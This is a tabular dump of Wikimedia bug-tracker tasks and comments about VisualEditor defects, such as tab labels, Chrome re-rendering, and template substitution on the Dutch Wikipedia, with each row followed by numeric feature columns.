+199364,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg",Change-Id: I2e7dd85cd14049101e2d49751d37797d77bc7c9d,,,1365027456,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+199357,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","De-prioritising for December; instead, bug 42221 will take on this need, as discussed with Trevor and Roan.",,,1353122866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+199351,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","Problem is in ViewPageTarget, which assumes that the name of the action and the action's label are the same ('edit' or 'create') or something, per hurried conversation with Trevor. :-)
+
+More widely, we might want our own label for this at first anyway to make it clear which editor people are using during the initial integration - just call it ""VisualEditor"" and leave the other tab visible next to it?",,,1353017565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,0,True,,,-33,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0
+44092,VisualEditor: Change marking branch appears to be live on MWwiki,"Possibly the wrong version of Parsoid updated? See https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&diff=next&oldid=604180 as an example of '<p data-ve-changed=""[...]"">' elements being created.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352858220,1352939134.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jh7jzzemygqrgcfg25dq,task_description,resolved,True,c1,0,True,False,True,-33,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1
+197910,VisualEditor: Change marking branch appears to be live on MWwiki,Fixed in https://gerrit.wikimedia.org/r/#/c/33410/,,,1352939134,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-jh7jzzemygqrgcfg25dq,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+44091,VisualEditor: A wild pawn character appeared!,"Roan told me that, if I ever saw one of your comical placeholder Unicode characters, that it was a pretty well-defined bug. So here:
+
+1. Create an unordered list
+2. Enter some items
+3. Hit enter twice
+4. Type something
+
+Expected: Whatever I typed should appear on the screen.
+
+Actual: Pawn character! It also prints my text, but only after '♙\n'.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352856780,1354656971.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-az3twbgyfogcznpnnndd,task_description,declined,True,c1,0,True,False,True,-33,,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+197866,VisualEditor: A wild pawn character appeared!,"**orbit** wrote:
+
+This must've been something that was fixed as part of some other work. I'm unable to reproduce.",,,1354656971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-az3twbgyfogcznpnnndd,task_subcomment,,True,c1,0,False,,,-30,,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+197860,VisualEditor: A wild pawn character appeared!,"Potentially deeper meaning: The list-creation code is really buggy and needs to be fixed. I can't seem to *end* an unordered list, once I create it.",,,1352857130,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-az3twbgyfogcznpnnndd,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+56854,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","Best seen on a slow connection e.g at crossbrowsertesting.com; I used Chrome 29 on OSX 10.7
+
+Seen on beta labs and test2wiki with a fresh browser instance: 
+
+* Click Edit/beta, invoke VE
+
+** View of page appears, then disappears, refreshes and appears again before ""Welcome to..."" iframe appears
+
+* Click X to dismiss iframe
+
+** iframe disappears for a moment, then reappears, then disappears again
+
+Given a slow enough connection, this behavior could be bothersome for regular users of VE.  
+
+It definitely causes constant failures in the browser tests for Chrome on both beta labs and test2wiki. 
+
+This is not seen in Firefox
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=55756",Medium,50.0,1380670380,1381934805.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-g37szxauflfw6qlavwpb,task_description,declined,True,c1,3,False,False,False,13,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+273373,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page",This bug was reported and is reproducible against Chrome version 29 but does not appear in Chrome version 30.  Closing.,,,1381934805,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+273367,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","This may only happen in Chrome 29, I have yet to repro in Chrome 30",,,1381871567,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+273360,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","
+Because both the underlying page and the Welcome to... overlay appear and disappear and reappear and then finally disappear for good, there is a chance that the correct elements will be in place at the times that the test looks for them.  On rare occasions the  build will hit everything with perfect timing. 
+
+The other interesting artifact of this issue is that the tests in each build fail for different reasons, because the page and the overlay are appearing and disappearing and reappearing.
+
+Watching the behavior in crossbrowsertesting as noted above is instructive.  The appear/disappear/reappear/disappear-again behavior is easily seen, I just checked it again.
+
+And while the appearance of the 'You are not logged in' notice despite being logged in is more difficult to reproduce, it seems to be a symptom of the same issue.",,,1381853242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,15,,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+273352,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","I'm confused as to how the browser tests for Chrome passed 9 days after this bug was filed - https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-en.wikipedia.beta.wmflabs.org-linux-chrome/72/ - only to fail again immediately thereafter, where the only intervening change in VisualEditor's code base was an alteration to the browser tests - https://wmf.ci.cloudbees.com/view/r-ve/job/VisualEditor-en.wikipedia.beta.wmflabs.org-linux-chrome/73/ - which feels like a different issue, and one where the problem is with the tests, not the code they are testing?",,,1381851780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,True,,,15,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+273346,"VisualEditor: ""Welcome to VisualEditor"" iframe causes Chrome to re-render the page","still seeing this in automated tests
+
+also, I reproduced this again manually using the slow connection at crossbrowsertesting.com as noted, and in addition to seeing the double-load of the page and double-load of the welcome notice, after clearing the notice I am presented with a message ""You are not logged in"".  This is impossible of course, since I have to be logged in with the opt-in preference set in order to be able to invoke VE at all. 
+
+The ""You are not logged in"" notice does not appear consistently.",,,1381497555,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-g37szxauflfw6qlavwpb,task_subcomment,,True,c1,3,False,,,14,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,1
+56827,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","When a template is selected in the VE editing surface pressing enter should open the transclusion dialog.
+
+When an image is selected in the VE editing surface pressing enter should open the media settings dialog.
+
+These will be of benefit to people making textual changes to the surrounding context who want to make textual changes to the template output / image caption.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50996",Medium,50.0,1380637920,1395274918.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6g5do6pkec5ll56oa4cb,task_description,resolved,True,c1,3,False,False,False,13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+271701,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","Change 103062 merged by jenkins-bot:
+Create mixin that tries to execute primary node command
+
+https://gerrit.wikimedia.org/r/103062",,,1395274517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6g5do6pkec5ll56oa4cb,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+271696,"VisualEditor: Pressing ""enter""/""return"" on a selected node should open its dialog","Change 103062 had a related patch set uploaded by Robmoen:
+Create mixin for ce nodes that responds to dblclick
+
+https://gerrit.wikimedia.org/r/103062",,,1395182321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6g5do6pkec5ll56oa4cb,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+56803,Images: {{largethumb}} template on nlwiki getting substituted on save,"**Author:** `romaine.wiki`
+
+**Description:**
+The VisualEditor substitutes templates that shouldn't been substituted. The largethumb template got substituted on several occasions, like:
+
+https://nl.wikipedia.org/w/index.php?title=Managua_%28stad%29&diff=38749742&oldid=38743043
+
+If this continues to happen too long, we are forced to disable the VisualEditor for everyone as it changes things that absolutely should not be changed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54315",Medium,50.0,1380575880,1392422883.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2pa34yqzcieje3dwrtub,task_description,resolved,True,c1,3,False,False,False,13,,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+270312,Images: {{largethumb}} template on nlwiki getting substituted on save,Scheduled for deployment next Wednesday.,,,1392422883,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+270305,Images: {{largethumb}} template on nlwiki getting substituted on save,"Change 110095 merged by jenkins-bot:
+Set up data-mw for all templated image attributes.
+
+https://gerrit.wikimedia.org/r/110095",,,1392413847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,32,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+270299,Images: {{largethumb}} template on nlwiki getting substituted on save,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
+WIP: Set up data-mw for all templated image attributes.
+
+https://gerrit.wikimedia.org/r/110095",,,1391639496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,31,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+270293,Images: {{largethumb}} template on nlwiki getting substituted on save,"If the Parsoid will be able to parse this, this would at least avoid bad rendering (thumbnail at the right size) and fix (selfishly) my concern :)",,,1386531660,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+270284,Images: {{largethumb}} template on nlwiki getting substituted on save,"We can parse it (so that it renders as expected), but I don't see a sane way to represent multiple attributes generated by the same template for visual editing.",,,1386440765,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+270278,Images: {{largethumb}} template on nlwiki getting substituted on save,"@Gabriel Do you mean Parsoid won't be able to parse this template in the same way like the PHP one does?
+
+After discussing a little bit about that on the nlwiki IRC channel, they are (of course) not so happy about that. Not only because the thousands of pages but also because the template is old and a lot of people would have then to change their habits.",,,1386437138,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+270271,Images: {{largethumb}} template on nlwiki getting substituted on save,"(In reply to comment #4)
+> Wanted to create an offline copy of nlwiki; but this bug is, for this usage,
+> a
+> showstopper.
+> 
+> The rendering is awful (but this is nothing new), for example:
+> http://parsoid-lb.eqiad.wikimedia.org/nlwiki/Abraham_Lincoln?oldid=39371115
+> 
+> ... and such type of templates are widely used: ~10.000 articles only for
+> {{largethumb}} on nlwiki. This bumps the whole size of the dump by a factor
+> 2.
+> 
+> @James, good news: I have had a look a little bit around and I don't have
+> found
+> other templates working on the same principle.
+
+@Kelson, that is great news! Scott is looking into image rendering issues, so assigning to him. We should be able to add a special-case hack for this template and edit-protect affected images.
+
+For proper editing the thumb parameter should be pulled out, as in |thumb|{{large}} with large returning just something like '400px'. That will require some convincing and bot activity.",,,1386358615,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,22,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1
+270262,Images: {{largethumb}} template on nlwiki getting substituted on save,"Wanted to create an offline copy of nlwiki; but this bug is, for this usage, a showstopper.
+
+The rendering is awful (but this is nothing new), for example:
+http://parsoid-lb.eqiad.wikimedia.org/nlwiki/Abraham_Lincoln?oldid=39371115
+
+... and such type of templates are widely used: ~10.000 articles only for {{largethumb}} on nlwiki. This bumps the whole size of the dump by a factor 2.
+
+@James, good news: I have had a look a little bit around and I don't have found other templates working on the same principle.",,,1386332566,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,22,,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+270253,Images: {{largethumb}} template on nlwiki getting substituted on save,This doesn't round trip in Parsoid.,,,1382449752,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+270244,Images: {{largethumb}} template on nlwiki getting substituted on save,"**romaine.wiki** wrote:
+
+I haven't seen it happen with other templates so far.",,,1381767772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+270237,Images: {{largethumb}} template on nlwiki getting substituted on save,"Is this just the {{largethumb}} template, or are there others? (Templates that define some but not all of the parameters of an image are particularly troublesome.)",,,1380833746,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2pa34yqzcieje3dwrtub,task_subcomment,,True,c1,3,True,,,13,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+56794,VisualEditor: Linebreaks not preserved when converting preformatted text to paragraph text. ↵ Displayed in VE but not saved.,"Screenshot explaining issue with visualeditor
+
+Hi
+These are the steps:
+
+*Create a preformatted multiline text, inserting a space before each line, in source mode.
+*Open visualeditor, select the text inside the box (the preformatted text)
+*Change text type to ""paragraph""
+*The text is badly converted, return characters appear on the line. If the text is saved the return characters are lost.
+*This happens in other cases too, tab symbols are displayed sometimes.
+
+Thank you.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12384}",Medium,50.0,1380563940,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,False,PHID-TASK-iesy7n57vtjmvbveuqa4,task_description,open,True,c1,3,False,False,,13,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+269785,VisualEditor: Linebreaks not preserved when converting preformatted text to paragraph text. ↵ Displayed in VE but not saved.,The ↵ characters indicate that the newline is preserved as if you edit the page subsequently and convert the paragraph to preformatteed the line breaks return.,,,1380644617,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-iesy7n57vtjmvbveuqa4,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+56759,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window","I couldn't find a way to click the links while editing and go to the target page. It's not easily available in the source editor, so it's not really a regression, but I find myself needing this features every time I edit, because the links are blue and look like links.
+
+GMail and Google have reasonably good ways of going to links' targets in editing mode, so hints can be taken from them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50321",Medium,50.0,1380443280,1405375886.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-ge3lxw5vifprlb3diogc,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+267856,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window",Fixed in gerrit 139550.,,,1405375886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ge3lxw5vifprlb3diogc,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+267851,"VisualEditor: Provide a way (beyond Ctrl-Click, middle-click, or right-click/tab) to open links in another window","Right-click and 'open in new tab' works for me (tested in Firefox 24), but it'd be better to have something findable in the edit toolbar (or at *least* the link edit dialog) with a 'regular' click.
+
+Right-click or long-press for context menus aren't something everybody knows well or jumps straight to.",,,1380484636,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ge3lxw5vifprlb3diogc,task_subcomment,,True,c1,3,False,,,12,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0
+56757,VisualEditor: Show user that drag-and-drop of textual content is not supported,"+++ This bug was initially created as a clone of Bug #50643 comment 6 +++
+
+Steps to reproduce:
+1. Edit a page in VE
+2. Select a piece of textual content without any fancy stuff in it.
+3. Drag it to another location in the page
+
+Expected results:
+The cursor should be a disabled-drop icon
+
+Actual results:
+The cursor is an 'image' icon
+
+--------------------------
+**Version**: unspecified
